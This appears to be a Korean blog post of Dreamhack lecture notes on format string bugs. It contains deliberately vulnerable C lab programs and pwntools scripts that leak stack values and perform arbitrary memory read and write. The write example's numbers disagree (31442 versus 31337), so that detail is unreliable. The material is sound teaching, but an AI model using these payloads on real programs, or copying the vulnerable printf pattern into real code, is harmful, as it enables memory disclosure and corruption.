1. 포맷 스트링 버그 (Format String Bug, FSB)
- 포맷 스트링을 인자로 사용하는 함수는 대표적으로 scanf, fprintf, fscanf, sprintf, sscanf가 있다.
- 포맷 스트링을 채울 값들은 레지스터나, 스택에서 가져온다.
- 하지만, 포맷 스트링을 사용하는 함수의 내부에는 필요로 하는 인자 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 존재하지 않는다.
- 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
- 포맷 스트링 함수를 잘못 사용하여, 발생하는 버그를 "포맷 스트링 버그"라고 한다.
2. 레지스터 및 스택 읽기
2-1. 실습 코드
- 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드이다.
- scanf에 존재하는 "%[^\n]"은 \n(개행문자)를 받을 때까지, 입력을 받는다는 의미이다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
2-2. 실습 과정 & 결과
- 입력값으로 "%p %p %p %p %p %p %p %p"을 입력하면, 임의 값들이 출력된다.
- printf함수에 전달한 인자는 없는데, 8개의 인자를 필요로 하는 포맷스트링을 사용했기 때문에 임의 값으로 레지스터와 스택에 존재하는 값들이 출력된다.
- 디버깅해보면, 출력되는 값이 x64의 함수 호출 규약에 맞춰 rsi, rdx, rcx, r8, r9, [rsp], [rsp+0x8], [rsp+0x10]임을 알 수 있다.
3. 임의 주소 읽기
3-1. 실습 코드
// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
3-2. 실습 원리
- 이전 실습 결과를 보면, 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다.
이를 이용하면, 임의 주소 읽기가 가능하다. - 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s의 형식으로 그 주소의 데이터를 재 참조할 수 있다.
- %[n]$s는 n번째 매개변수를 %s형식인 문자열로 출력한다는 의미다.
3-3. 실습과정 & 결과
- 본 실습에서는 secret에 저장된 "THIS IS SECRET"을 추출하는 것을 목표로 한다.
- 실행결과 출력되는 secret주소를 넣고, %7$s의 형식으로 secret에 존재하는 데이터를 출력할 수 있다.
from pwn import *
p = process(b"./fsb_aar")
p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)
print("secret_addr : ", hex(secret_addr))
payload = b"%7$s".ljust(8)
payload += p64(secret_addr)
p.sendline(payload)
p.interactive()
4. 임의 주소 쓰기
4-1. 실습 코드
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
4-2. 실습 과정 & 결과
- 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면, 입력한 주소에 데이터를 쓸 수 있다.
- %31442c%8$n은 8번째 매개변수에 %n의 형식으로 저장한다는 의미로, 31442가 저장된다.
- Secret 전역 변수의 값이 31337로 조작되는 것을 확인할 수 있다.
from pwn import *
p = process(b"./fsb_aaw")
p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)
payload = b"%31442c%8$n".ljust(16)
payload += p64(secret_addr)
p.sendline(payload)
print(p.recvall())
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Lecture] Use After Free (0) | 2022.08.20 |
---|---|
[Practice] 64bit_FSB (Format String Bug) (0) | 2022.08.20 |
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
[Practice] Hook Overwrite (0) | 2022.07.14 |
[Lecture] PIE (Position-Independent Executable) (0) | 2022.07.12 |